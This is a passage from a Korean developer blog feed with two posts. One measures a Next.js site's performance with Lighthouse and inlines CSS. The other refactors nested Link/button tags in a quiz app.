<p>할 수 있는 작업들이 여러가지 있지만 우선 크롬 개발자 도구 Lighthouse와 Performane를 사용하여 측정하고 개선해보려고 합니다.</p>
<p>Lighthouse가 전반적인 성능을 측정하기 적절한 도구라고 합니다.</p>
<p>Performance 도구는 특정 작업이나 상호작용에 따른 성능을 세부적으로 분석하기 위해 사용하구요.</p>
<h1 id="lighthouse을-통한-성능-측정-및-개선">Lighthouse을 통한 성능 측정 및 개선</h1>
<p>그렇다면 Lighthouse를 통해 저의 웹페이지의 성능 측정하고 부족한 부분을 개선해보겠습니다.</p>
<h2 id="lighthouse란">Lighthouse란</h2>
<p>Lighthouse는 웹페이지 품질을 개선하는 데 도움이 되는 오픈소스 자동화 도구입니다. 성능, 접근성, 프로그레시브 웹 앱, 검색엔진 최적화 등을 측정할 수 있습니다.
<img src="https://velog.velcdn.com/images/kcj_dev96/post/60601f79-f6a1-4a3c-9772-64cae05ca8b9/image.png" alt=""></p>
<h2 id="측정해보기">측정해보기</h2>
<p>그렇다면 저의 웹사이트의 모든 페이지들을 데스크탑,모바일 별도로 lighthouse 옵션값을 설정하여 검사해보겠습니다.
<img src="https://velog.velcdn.com/images/kcj_dev96/post/6f8c2363-5211-44ad-9b18-02c04a71d960/image.png" alt=""></p>
<h3 id="메인-페이지">메인 페이지</h3>
<p>화면은 다음과 같습니다.</p>
<ul>
<li><p>데스크탑
<img src="https://velog.velcdn.com/images/kcj_dev96/post/38426258-cbae-498e-be06-1d6323a2715d/image.png" alt=""></p>
</li>
<li><p>모바일
<img src="https://velog.velcdn.com/images/kcj_dev96/post/4a176565-9930-4a41-845c-e61f4b939573/image.png" alt=""></p>
</li>
</ul>
<p>우선 데스크탑과 모바일 각각을 측정해보겠습니다.</p>
<h4 id="데스크탑">데스크탑</h4>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/d041b13d-59b7-48b4-b6cb-1f786bb44302/image.png" alt=""></p>
<h4 id="모바일">모바일</h4>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/2810fc2f-f18e-41e4-b394-fc2cba9d2785/image.png" alt=""></p>
<h3 id="데스크탑과-모바일-성능이-왜-다를까">데스크탑과 모바일 성능이 왜 다를까?</h3>
<p>데스크탑과 모바일 각각을 측정해봤을 때, FCP/LCP/SI가 모바일이 시간이 더 걸리는 것을 확인할 수 있습니다.</p>
<p>왜 차이가 날까요?</p>
<p>결론적으로 각각의 네트워크 환경과 CPU 성능이 다르게 설정되어 측정되기 때문입니다.</p>
<p>모바일 환경이 데스크탑에 비해 더 좋지 않은 네트워크나 CPU를 사용하여 측정하기 때문에 위와 같은 결과가 나오는 것이지요.</p>
<h4 id="데스크탑-1">데스크탑</h4>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/2e13de31-3ba2-4476-8bd0-9052f4489ae6/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/ba7f738d-9dda-42c3-82d6-0418ea10046c/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/36651d73-be13-402c-89b2-82133bd0ee00/image.png" alt=""></p>
<p>데스크톱은 측정하는 PC의 성능을 그대로 사용한다고 합니다. 그래서 고사양 컴퓨터일수록 웹 페이지의 성능은 좋게 측정된다고 하네요.</p>
<blockquote>
<p>throughput
특정 시간 동안 네트워크를 통해 전송될 수 있는 최대 데이터 양</p>
</blockquote>
<p>데스크탑에서는 throughput이 초당 1MB정도 하는 것 같고 CPU도 컴퓨터 그대로 사양을 사용하는 것 같습니다.</p>
<h4 id="모바일-1">모바일</h4>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/6d2c6c17-86f0-4056-90bb-76ab4add2896/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/53266196-97d3-4687-a4b0-d5433314c089/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/e25d674d-2aad-4422-83cd-0a7f45d3601f/image.png" alt=""></p>
<p>반면,모바일은 느린 네트워크로 인해 리소스 로딩이 더 오래 걸립니다.
throughput이 1000KB로 데스크탑보다 10배는 더 느립니다.</p>
<p>CPU 또한 성능을 4배 느리게 시뮬레이션합니다. 때문에 성능이 저하된 상태를 기준으로 측정하는 것입니다.</p>
<p>위와 같은 네트워크와 디바이스 성능으로 측정 결과가 데스크탑보다 더 느리게 나온 것이네요.</p>
<p>이는 아마 모바일 기기의 한정된 처리 성능을 반영하기 위함이 아닐까 합니다.</p>
<p>이것을 감안하고 측정 결과를 살펴봐야할 것 같습니다.</p>
<h2 id="성능">성능</h2>
<p>페이지에 내용이 없어서 그런지 측정 결과가 좋게 나온 것 같군요.</p>
<p>좋게 나오긴 하였지만 어떤 부분을 기준으로 측정하였는지 살펴볼게요</p>
<p>성능,접근성,권장사항,검색엔진 최적화 순으로 차례로 살펴볼게요.</p>
<p>성능 측정항목으로써는 </p>
<ul>
<li>FCP(First Contentful Paint)</li>
<li>LCP(Largest Contentful Paint)</li>
<li>TBT(Total Blocking Time)</li>
<li>Cumulative Layout Shift</li>
<li>Speed Index</li>
</ul>
<p>위와 같은 항목이 있고 친절히 요약설명까지 해주고 있네요.</p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/d041b13d-59b7-48b4-b6cb-1f786bb44302/image.png" alt=""></p>
<h3 id="fcp"><strong>FCP</strong></h3>
<ul>
<li>콘텐츠가 포함된 첫 페인트는 <strong>첫 번째 텍스트 또는 이미지가 표시되는 시간</strong>을 나타냅니다.</li>
</ul>
<p>문서를 바탕으로 확인해보면</p>
<ul>
<li>FCP는 사용자가 페이지로 이동한 후 <strong>브라우저에서 첫 번째 DOM 콘텐츠를 렌더링</strong>하는 데 걸리는 시간을 측정합니다.</li>
</ul>
<p>저의 경우에는 FCP가 0.3초 걸렸어요.
<img src="https://velog.velcdn.com/images/kcj_dev96/post/d041b13d-59b7-48b4-b6cb-1f786bb44302/image.png" alt=""></p>
<h3 id="fcp-등급-기준">FCP 등급 기준</h3>
<p>문서를 확인해보면 다음과 같이 시간에 따른 등급을 녹색,주황색,빨간색 색깔순으로 평가하고 있네요.</p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/517485af-7c48-4afa-98f9-8512f75b4b30/image.png" alt=""></p>
<p>그러면 첫 번째 DOM 콘텐츠를 어떻게 확인할 수 있을까요?</p>
<h3 id="fcp-첫-번째-dom-콘텐츠-찾기">FCP 첫 번째 DOM 콘텐츠 찾기</h3>
<p>lighthouse에서는 자세히 나오지 않아 성능(Performance) 탭 가서 확인을 해봤어요.</p>
<p>하지만 성능 탭에서 FCP 근처 paint 시점을 확인해봤는데 document 라고만 뜨더군요.
<img src="https://velog.velcdn.com/images/kcj_dev96/post/11305559-aee2-4fd9-888e-c2fe98c7dfde/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/c252b9c7-746d-40db-97db-b425e54180da/image.png" alt=""></p>
<p>그러면 도대체 어디서 확인할 수 있나 했더니 개발자 도구 레이어(Layer)라는 도구가 있더군요.</p>
<p>개발자 도구 우측 점 세개 버튼을 클릭하면 아래와 같이 드롭다운이 나옵니다.</p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/87c75040-a3e5-4230-821b-e3306e975694/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/8073b7e7-85c6-4ce5-9c61-3a4bccb30de7/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/bd6dbd43-0515-465f-a7bb-2a3d70c45501/image.png" alt=""></p>
<p>레이어 도구를 추가해줍니다.</p>
<p>레이어 탭으로 이동하면 다음과 같이 화면이 나올텐데, 저의 경우 ,<strong>#document</strong>를 누르고 <strong>페인트 프로파일러</strong>를 눌렀습니다.</p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/b8af892c-0e93-41a3-a97c-ca3ded37680c/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/74ae536b-1e24-4925-9dd2-e9f267a70f5e/image.png" alt=""></p>
<p>그러면 이제 스크롤하면서 페인트 타임라인을 확인할 수 있습니다.</p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/dbebbb77-2ce9-4122-889c-a0d4d6ccc232/image.png" alt=""></p>
<p>저의 페이지 경우, 첫 번째 콘텐츠는 Link로 감싸진 버튼이었습니다.</p>
<pre><code class="language-tsx">import HomeDescription from &quot;@/app/_home_components/homeDescription&quot;;
import HomeInnerContainer from &quot;@/app/_home_components/homeInnerContainer&quot;;
import HomeLink from &quot;@/app/_home_components/homeLink&quot;;
import HomeOuterContainer from &quot;@/app/_home_components/homeOuterContainer&quot;;
import HomeTitle from &quot;@/app/_home_components/homeTitle&quot;;


/**
 * 메인 페이지
 * SSG
 */
export const dynamic = &#39;force-static&#39;


export default function Home() {
  return (
    &lt;HomeOuterContainer&gt;
      {/* 내부 카피 컨텐츠  */}
          &lt;HomeInnerContainer&gt;
            {/* 메인 타이틀 */}
            &lt;HomeTitle
            title={&quot;개발자들의 아지트, 코아&quot;}
            /&gt;
            {/* 메인 설명 */}
            &lt;HomeDescription
                description={&quot;퀴즈로 실력을 키우고, 함께 성장하세요.&quot;}
            /&gt;
            {/* 메인 링크  */}
            &lt;HomeLink/&gt;
          &lt;/HomeInnerContainer&gt;
    &lt;/HomeOuterContainer&gt;
  );
}

...

import PrimaryButton from &quot;@/app/_components/button/primaryButton&quot;;
import Link from &quot;next/link&quot;;
import React from &#39;react&#39;;

// 메인 링크
function HomeLink() {
    return (
        &lt;Link href={&quot;/quiz&quot;}&gt;
            &lt;PrimaryButton text={&quot;퀴즈 풀어보기&quot;} color={&quot;primary&quot;} className={&quot;!w-[130px] !h-[42px]&quot;}/&gt;
        &lt;/Link&gt;
    );
}

export default HomeLink;
</code></pre>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/f634b13f-46fb-4dca-9a0c-f40d5a00c09c/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/248ee48f-7567-40df-8251-ce51685a7ba3/image.gif" alt=""></p>
<p>텍스트가 먼저 나타날 줄 알았는데, 링크가 먼저 나타났네요.
그 다음으로 버튼 위 텍스트 -&gt; 헤더 순으로 페인트 되었습니다.</p>
<h2 id="렌더링-차단-리소스">렌더링 차단 리소스</h2>
<p>진단 항목을 보면 <strong>렌더링 차단 리소스 제거하기</strong>라는 항목이 있어요.</p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/fcef7b94-0579-43ae-9b74-5a5fa2980c97/image.png" alt=""></p>
<p>특정 리소스가 FCP를 방해하고 있나보네요.</p>
<h3 id="렌더링-차단-리소스-css">렌더링 차단 리소스-css</h3>
<p>자세히보니 css 파일이 렌더링 차단 리소스인 것 같아요.</p>
<p><a href="https://developer.chrome.com/docs/lighthouse/performance/render-blocking-resources?utm_source=lighthouse&amp;utm_medium=devtools#which_urls_get_flagged_as_render-blocking_resources">문서</a>에서 확인을 해보면 기본적으로** CSS는 렌더링 차단 리소스로 취급**된다고 합니다.</p>
<p>즉, CSSOM이 생성될 때까지 브라우저는 처리된 콘텐츠를 렌더링하지 않습니다. CSS를 간단하게 유지하고 가능한 한 빨리 제공하는게 중요하다고 하네요. 그래야 얼렁 콘텐츠를 렌더링할 수 있을테니깐요.</p>
<p>성능 도구 탭에서도 보면 <strong>Rendering blocking</strong>이라고 나와있어요.
<img src="https://velog.velcdn.com/images/kcj_dev96/post/6a736db2-3f66-45a7-bdec-17af6b2c931e/image.png" alt=""></p>
<p>위 css 내용을 살펴보니 tailwind css 관련 파일 같습니다.
<img src="https://velog.velcdn.com/images/kcj_dev96/post/89b29a60-82d2-43ec-80b8-77983e976483/image.png" alt=""></p>
<p>빌드를 하면 <strong>tailwind className들을 하나의 css 파일에 빌드</strong>하는 것 같아요.
프로젝트의 모든 css 정보를 담고 있는 파일이니 중요한 파일입니다.</p>
<p>이는 페이지 요청시 같이 css 파일을 요청합니다.</p>
<p>페이지 요소 탐색으로 보면 다음과 같이 위에서 발견한 css 파일이 link 태그로 로드되는 것을 확인할 수 있어요.</p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/241b998b-34f8-43e7-beba-72b215f56420/image.png" alt=""></p>
<p>그렇다면 프로젝트에서 <strong>모든 css 정보를 가진 이 파일이 렌더링 차단 리소스라는 것인데 어떻게 제거</strong>할 수 있을까요? </p>
<p><a href="https://developer.chrome.com/docs/lighthouse/performance/render-blocking-resources?utm_source=lighthouse&amp;utm_medium=devtools&amp;hl=ko#how_to_eliminate_render-blocking_stylesheets">문서</a>에서는 <strong>인라인 처리</strong>를 하라고 말하고 있습니다.</p>
<p>인라이닝을 적용하면 처음 방문하는 <strong>방문자가 겪는 초기 다운로드 지연을 제거하여 css가 렌더링하는데 방해가 되지 않도록 할 수 있는 것 같아요.</strong></p>
<p>그렇다면 인라인 처리가 무엇이고 Nextjs에서는 어떻게 할 수 있을까요?</p>
<p>빌드될때 자동으로 생성되는 위 css 파일을 어떻게 인라인 처리를 할 수 있을까요?</p>
<h3 id="해결방법-인라인-처리">해결방법-인라인 처리</h3>
<p>인라인화란 스타일(CSS)이나 스크립트(JavaScript)를 외부 파일로 로드하지 않고, <strong>HTML 문서 내부에 직접 포함</strong>하는 것을 말합니다. 이 방식은 브라우저가 외부 파일을 추가로 요청하지 않아도 되기 때문에, 초기 렌더링 시간을 줄이는 데 유리합니다.</p>
<pre><code class="language-html">&lt;head&gt;
  &lt;style&gt;
    body {
      background-color: #f0f0f0;
      font-family: Arial, sans-serif;
    }
    h1 {
      color: #333;
    }
  &lt;/style&gt;
&lt;/head&gt;
</code></pre>
<h3 id="nextjs에-어떻게-적용">Nextjs에 어떻게 적용?</h3>
<p>이런 저런 방법을 찾아보다, nextjs 오픈 소스에서 다음과 같은 이슈와 토론을 발견했습니다.</p>
<blockquote>
<p><a href="https://github.com/vercel/next.js/issues/57634">https://github.com/vercel/next.js/issues/57634</a>
 <a href="https://github.com/vercel/next.js/discussions/59989">https://github.com/vercel/next.js/discussions/59989</a></p>
</blockquote>
<p>2023년 10월쯤에 올라온 이슈인데 살펴보면 적절한 방법이 올라오지 않은 듯 합니다.</p>
<p>저는 nextjs 14버전을 사용하고 있는데 위에서 말한것처럼 이 버전에서는 모든 css를 하나의 파일로 모아 가져옵니다. </p>
<p>nextjs 개발자들은 이에 대한 업데이트를 14버전에서는 해결하지 않은 듯 해요.</p>
<p>따라서 다시 문서로 가서 찾아봤습니다.
15버전 문서에 제가 찾던 내용이 있더군요.</p>
<h3 id="nextconfigmjs--inlinecss-설정next15버전부터-가능">next.config.mjs -inlineCss 설정(next15버전부터 가능)</h3>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/7b87265f-0871-4eb9-ae46-9d4165f5fca0/image.png" alt=""></p>
<blockquote>
<p>아직 실험적 단계라고 하고 실제 production에서는 사용하지 않는 것을 권장하고 있습니다.</p>
</blockquote>
<p><a href="https://nextjs.org/docs/app/api-reference/config/next-config-js/inlineCss">Next 문서</a>에서 확인해보면 next.config.js에서 옵션값을 설정하면 css를 inline 형식으로 사용할 수 있다고 하네요.</p>
<pre><code class="language-ts">import type { NextConfig } from &#39;next&#39;

const nextConfig: NextConfig = {
  experimental: {
    inlineCss: true,
  },
}

export default nextConfig
</code></pre>
<p>우선 확인을 위해 15버전으로 업데이트를 하고 lighthouse로 다시 측정해보겠습니다.</p>
<h4 id="15-버전-업데이트-후-lighthouse-측정">15 버전 업데이트 후 lighthouse 측정</h4>
<p>15 버전으로 업데이트 후 lighthouse로 다시 측정해보았습니다.</p>
<p><strong>Before</strong>
이전 결과구요.
<img src="https://velog.velcdn.com/images/kcj_dev96/post/d041b13d-59b7-48b4-b6cb-1f786bb44302/image.png" alt=""></p>
<h3 id="fcp-01초-감소">FCP 0.1초 감소</h3>
<p>적용 후, 0.1초 감소했네요.
<img src="https://velog.velcdn.com/images/kcj_dev96/post/75c52275-cc95-4bc8-b572-8f8bb3aa8863/image.png" alt=""></p>
<p>성능탭에서 측정을 해보면 네트워크에서 css 파일에 대한 요청이 보이지 않습니다.</p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/37470e3f-c5cf-40ab-94e4-6beffce8651e/image.png" alt=""></p>
<p>네트워크 탭 또한 css 파일에 대한 요청이 보이지 않아요.</p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/b0a39556-8421-44a7-9321-7ba1c4a73725/image.png" alt=""></p>
<p>css 관련한 코드들이 어디로 갔나보면 다음과 같이 인라인 스타일로 싹 들어갔어요.</p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/f889a78b-18c1-429f-8fc1-83874db5e3e0/image.png" alt=""></p>
<p>위와 같이 next.config.mjs에서 inlineCss 옵션을 설정하면 css를 인라인 방식으로 사용할 수 있지만 문서에서는 권장하지는 않으니 일단 사용하지 않는 게 좋을 것 같네요.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[리팩토링-a,button 태그 중첩 방지와 의도에 맞게 태그 사용]]></title>
            <link>https://velog.io/@kcj_dev96/%EB%A6%AC%ED%8C%A9%ED%86%A0%EB%A7%81-abutton-%ED%83%9C%EA%B7%B8-%EC%A4%91%EC%B2%A9-%EB%B0%A9%EC%A7%80%EC%99%80-%EC%9D%98%EB%8F%84%EC%97%90-%EB%A7%9E%EA%B2%8C-%ED%83%9C%EA%B7%B8-%EC%82%AC%EC%9A%A9</link>
            <guid>https://velog.io/@kcj_dev96/%EB%A6%AC%ED%8C%A9%ED%86%A0%EB%A7%81-abutton-%ED%83%9C%EA%B7%B8-%EC%A4%91%EC%B2%A9-%EB%B0%A9%EC%A7%80%EC%99%80-%EC%9D%98%EB%8F%84%EC%97%90-%EB%A7%9E%EA%B2%8C-%ED%83%9C%EA%B7%B8-%EC%82%AC%EC%9A%A9</guid>
            <pubDate>Fri, 13 Dec 2024 11:16:35 GMT</pubDate>
            <description><![CDATA[<p>이번 리팩토링에서는** a 태그와 button 태그**에 대해 다뤄보려고 합니다.
a 태그와 button 태그가 의도에 맞게 사용되도록 리팩토링을 진행해보려합니다.</p>
<p>이전 코드에서는 두 태그를 중첩하여 사용하거나 의도에 맞게 사용하지 않고 있었습니다.</p>
<p>바로 코드로 살펴보겠습니다.</p>
<h2 id="link-컴포넌트와-button-태그-중첩">Link 컴포넌트와 button 태그 중첩</h2>
<p>nextjs에서는 URL 이동을 위해 a태그 대신 Link 태그를 사용합니다.</p>
<p>특정 URL로 이동하기 위해 다음과 같이 <strong>버튼 태그를 Link 컴포넌트를 중첩</strong>하였습니다.</p>
<p>이유는 Link 태그에 대해 별도로 커스텀하지 않기 위해서였습니다.
PrimaryButton은 이미 커스텀해둔 컴포넌트이기에  이를 그냥 중첩하여 사용하면 굳이 Link컴포넌트를 커스텀할 필요가 없으니까요.</p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/a1950a37-40f1-488f-9e9d-72d5afe6749a/image.png" alt=""></p>
<pre><code class="language-tsx">            &lt;Link href={`/quiz/${detailUrl}/explanation`}&gt;
  // button 태그입니다.              
              &lt;PrimaryButton text={&quot;해설&quot;} color={&quot;primarySecondary&quot;}/&gt; 
            &lt;/Link&gt;</code></pre>
<p>하지만 위와 같이 사용하면 안됩니다.</p>
<h3 id="두-태그의-동작이-동시에-동작">두 태그의 동작이 동시에 동작</h3>
<p>Link 태그의 목적은 URL 이동이고 button은 특정 동작을 수행하기 위함인데 위 중첩 태그를 클릭하게 되면 2가지 동작이 동시에 일어나니깐요. </p>
<p><code>PrimaryButton</code>에서 onClick 이벤트가 없다하여도 부자연스럽죠.</p>
<h3 id="과도한-dom-크기-피하기"><a href="https://developer.chrome.com/docs/lighthouse/performance/dom-size?utm_source=lighthouse&amp;utm_medium=devtools&amp;hl=ko">과도한 DOM 크기 피하기</a></h3>
<p>DOM 트리가 크면 페이지 성능이 느려질 수 있다고 합니다.즉, 페이지 로드 속도와 사용자와의 상호작용이 느려질 수도 있어요.</p>
<p>DOM 트리가 크다는 것은 페이지의 태그 중첩도가 크다는 것을 말해요.</p>
<blockquote>
<p>물론 DOM 트리 중첩도가 1000개쯤 되어야 성능 차이가 유의미하게 나타나긴 하지만 최대한 중첩을 방지하는 것이 좋겠죠.</p>
</blockquote>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/6b01cba5-3cdb-4c1c-89fb-61aa163e4c1f/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/b3f36a37-5f5d-4204-92ba-3b552b614fc4/image.png" alt=""></p>
<p>퀴즈 풀어보기 버튼 DOM 구조를 살펴보면 3태그의 중첩으로 되어있죠.</p>
<p>과도한 DOM 중첩입니다.</p>
<pre><code class="language-html">&lt;a&gt;
  &lt;button&gt;
    &lt;span&gt;
        퀴즈 풀어보기
    &lt;/span&gt;
  &lt;/button&gt;
&lt;/a&gt;</code></pre>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/8d7ff719-5537-42df-960f-df476f93297d/image.png" alt=""></p>
<p>Lighthouse에서 측정해보아도 위처럼 하나의 태그로 사용하면 될걸 3개를 중첩해놓으니 최대 DOM 깊이가 되어버렸어요.</p>
<h3 id="해결">해결</h3>
<p>따라서 위와 같은 중첩을 해결하고자 목적에 맞게 사용하도록 변경하였습니다.</p>
<p><code>Link</code> 컴포넌트를 커스텀하여 다음과 같이 변경하였어요.</p>
<pre><code class="language-tsx">            &lt;PrimaryLink
                color={&quot;primarySecondary&quot;}
                href={`/quiz/${detailUrl}/explanation`}&gt;
                해설
            &lt;/PrimaryLink&gt;</code></pre>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/cbc51c18-097c-47c0-a27b-c0e98268efde/image.png" alt=""></p>
<p>이전(중첩 3단계)과 달리 1단계로 변경하였죠.</p>
<h2 id="의도에-맞게-태그-사용">의도에 맞게 태그 사용</h2>
<p>a,button 태그의 목적은 다음과 같습니다.</p>
<ul>
<li>a 태그는 URL 이동</li>
<li>button 태그는 특정 동작 수행</li>
</ul>
<p>클릭했을 때, URL 이동 역할만 수행한다면 a 태그를,
여러가지 동작을 수행한다면 button 태그를 사용해야합니다.</p>
<h3 id="여러-가지-동작이-있을-경우---button">여러 가지 동작이 있을 경우 -&gt; button</h3>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/191d2d1e-b6c2-4dcd-b088-15e8d2929b07/image.png" alt=""></p>
<p>시작하기 버튼을 누르게 되면 다음과 같은 동작들이 실행되야합니다.</p>
<ul>
<li>API 통신 </li>
<li>API 데이터 로컬 스토리지 저장</li>
<li>API 데이터 중 랜덤으로 하나 뽑은 URL로 이동 </li>
</ul>
<p>그렇다면 위 시작하기는 a태그,button태그 어떤 것으로 구성해야할까요?</p>
<h4 id="이전">이전</h4>
<p>저는 처음에 결국엔 Link태그로 해놓았습니다. 결국에 <strong>URL 이동이니깐 Link 태그가 적절하다고 생각했죠.</strong></p>
<pre><code class="language-tsx">&quot;use client&quot;

import {FIELD_OPTIONS, LANGUAGE_OPTIONS} from &quot;@/app/(page)/quiz/constant&quot;;
import PrimaryButton from &quot;@/app/_components/button/primaryButton&quot;;
import Select from &quot;@/app/_components/select/select&quot;;
import useQuizHelperContext from &quot;@/app/_context/useQuizContext&quot;;
import {Link} from &quot;next-view-transitions&quot;;
import React, {useEffect, useState} from &#39;react&#39;;

// 퀴즈 옵션 설정 컴포넌트
function QuizOptionSettingPart() {

    const [url,setUrl] = useState&lt;string&gt;(&quot;&quot;)
    const quizHelper = useQuizHelperContext()
    const [option,setOption] = React.useState&lt;{field:string,lang:string}&gt;({field:FIELD_OPTIONS[0].value,lang:LANGUAGE_OPTIONS[0].value});

    function handleOptionChange(value:string,key:&quot;field&quot;|&quot;lang&quot;){
        setOption({...option,[key]:value})
    }


    useEffect(() =&gt; {

        async function getRandomUrl(){
           const url = await quizHelper?.startQuiz()
            if(url){
                setUrl(url)

            }
        }
        getRandomUrl()

    }, [quizHelper]);

    return (
        &lt;&gt;
            &lt;div className={&quot;flex flex-col gap-10 w-full&quot;}&gt;
                &lt;Select
                    label={&quot;분야&quot;}
                    options={FIELD_OPTIONS}
                    handleOptionChange={(value) =&gt; handleOptionChange(value as string,&quot;field&quot;)}
                /&gt;
            &lt;/div&gt;
            &lt;Link href={`/quiz/${url}`}&gt;
                &lt;PrimaryButton
                    // onClick={async () =&gt; await quizHelper?.startQuiz()}
                    text={&quot;시작하기&quot;}
                    color={&quot;primary&quot;}
                    className={&quot;!w-full !h-[48px] !mt-14&quot;}
                /&gt;
            &lt;/Link&gt;

        &lt;/&gt;
    );
}

export default QuizOptionSettingPart;</code></pre>
<h4 id="변경-후">변경 후</h4>
<p>하지만 <strong>button 형식이 맞다</strong>고 생각하여 변경하였습니다.</p>
<p>링크 이동뿐만 아니라 <strong>여러가지 역할</strong>을 하니깐요.</p>
<p>분야를 선택하는 옵션과 시작하기 버튼을 감싸 form으로 만들고 server action으로 API 통신하고 이후 로직은 클라이언트에서 처리하였죠.</p>
<pre><code class="language-tsx">&quot;use client&quot;

import useQuizOptionFormAction from &quot;@/app/(page)/quiz/_hook/useQuizOptionFormAction&quot;;
import {FIELD_OPTIONS, LANGUAGE_OPTIONS} from &quot;@/app/(page)/quiz/constant&quot;;
import PrimaryButton from &quot;@/app/_components/button/primaryButton&quot;;
import Select from &quot;@/app/_components/select/select&quot;;
import React from &#39;react&#39;;

// 퀴즈 옵션 설정 컴포넌트
function QuizOptionForm() {


    const [option,setOption] = React.useState&lt;{field:string,lang:string}&gt;({field:FIELD_OPTIONS[0].value,lang:LANGUAGE_OPTIONS[0].value});

    const {formAction} =useQuizOptionFormAction()

    function handleOptionChange(value:string,key:&quot;field&quot;|&quot;lang&quot;){
        setOption({...option,[key]:value})
    }

    return (
        &lt;form action={formAction}&gt;
            &lt;div className={&quot;flex flex-col gap-10 w-full&quot;}&gt;
                {/*분야*/}
                &lt;&gt;
                    &lt;Select
                        label={&quot;분야&quot;}
                        options={FIELD_OPTIONS}
                        handleOptionChange={(value) =&gt; handleOptionChange(value as string,&quot;field&quot;)}
                    /&gt;
                    &lt;input
                    type={&quot;hidden&quot;}
                    name={&quot;field&quot;}
                    value={option.field}
                    /&gt;
                &lt;/&gt;

            &lt;/div&gt;
            &lt;PrimaryButton
                type={&quot;submit&quot;}
                color={&quot;primary&quot;}
                className={&quot;!w-full !h-[48px] !mt-14&quot;}
                text={&quot;퀴즈 시작하기&quot;}
                /&gt;

        &lt;/form&gt;
    );
}

export default QuizOptionForm;


...
import {getQuizDetailUrlListAction} from &quot;@/app/(page)/quiz/action&quot;;
import useQuizHelperContext from &quot;@/app/_context/useQuizContext&quot;;
import {ArrayUtils} from &quot;@/app/_utils/class/ArrayUtils&quot;;
import {useRouter} from &quot;next/navigation&quot;;
import {useActionState, useEffect} from &quot;react&quot;;

// 퀴즈 옵션 폼 관련 액션 커스텀 훅
function useQuizOptionFormAction() {
    const quizHelper= useQuizHelperContext()
    const router = useRouter()

    const [state,formAction]=useActionState(getQuizDetailUrlListAction,{urlList:[],isAction:false})
    useEffect(() =&gt; {
        if(state.isAction){
            quizHelper?.saveQuizUrlList(state.urlList)

            const randomOne = ArrayUtils.pickRandomOne&lt;string&gt;(state.urlList)

            router.push(`/quiz/${randomOne}`)

        }
    }, [state.isAction]);
    return {formAction}
}

export default useQuizOptionFormAction;
</code></pre>
<h3 id="url-이동-경우---a태그">URL 이동 경우 -&gt; a태그</h3>
<h3 id="예시-1">예시 1</h3>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/f8193a7b-9322-42e5-8b1b-5107148d7200/image.png" alt=""></p>
<p><code>다음 문제</code>를 클릭하면 이전에 풀었던 문제를 제외하고 그 중 랜덤으로 하나를 꼽아 이동해야합니다.</p>
<h4 id="이전-1">이전</h4>
<p>이전에는 Link가 아닌 button으로 구성하였어요.</p>
<p>코드는 다음과 같이 구성하였습니다.</p>
<pre><code class="language-tsx">           &lt;PrimaryButton
                    text={&quot;다음 문제&quot;}
                    color={&quot;primary&quot;}
                    onClick={async ()=&gt;{
                        await quizHelper?.moveToNextQuiz(detailUrl as string)
                    }}
                /&gt;
...
    // 다음 문제 이동
    async moveToNextQuiz(currentQuiz: string) {
        this.logicHandler.addSolvedQuiz(currentQuiz);

        if (this.logicHandler.isAllQuizSolved()) {
            this.navigator.moveToCompletedPage();
        } else {
            const unsolvedQuiz = this.logicHandler.getUnsolvedQuiz();
            const randomQuiz = ArrayUtils.pickRandomOne&lt;string&gt;(unsolvedQuiz);
            this.navigator.moveToQuizPage(randomQuiz);
        }
    }

</code></pre>
<p>이유는 아래와 여러가지 동작을 해야했기 때문이죠.</p>
<ul>
<li>현재 문제를 <code>푼 문제 로컬스토리지</code> 에 저장</li>
<li>퀴즈가 다 풀린 상태에서 버튼을 누르면 완료 페이지 이동</li>
<li>퀴즈를 다 풀지 않았을 때 버튼을 누르면 안 푼 문제 중에서 랜덤으로 하나를 골라 이동</li>
</ul>
<p>하지만 다시 생각해보니
<code>URL 이동을 제외한 동작들이 굳이 위처럼 버튼을 눌렀을 때 한번에 발생해야하나?</code>
라는 생각이 들었어요.</p>
<p>해당 퀴즈 페이지에 진입시</p>
<ul>
<li>현재 문제를 <code>푼 문제 로컬스토리지</code> 에 저장</li>
<li>퀴즈가 다 푼 상태에서 해당 페이지 진입시 완료 페이지 이동</li>
<li>안 푼 문제 조회 후 랜덤으로 하나 고르기</li>
</ul>
<p>위 동작을 꼭 버튼이 눌렸을 때, 할 필요는 없다는 생각이 들었죠.</p>
<h4 id="변경-후-1">변경 후</h4>
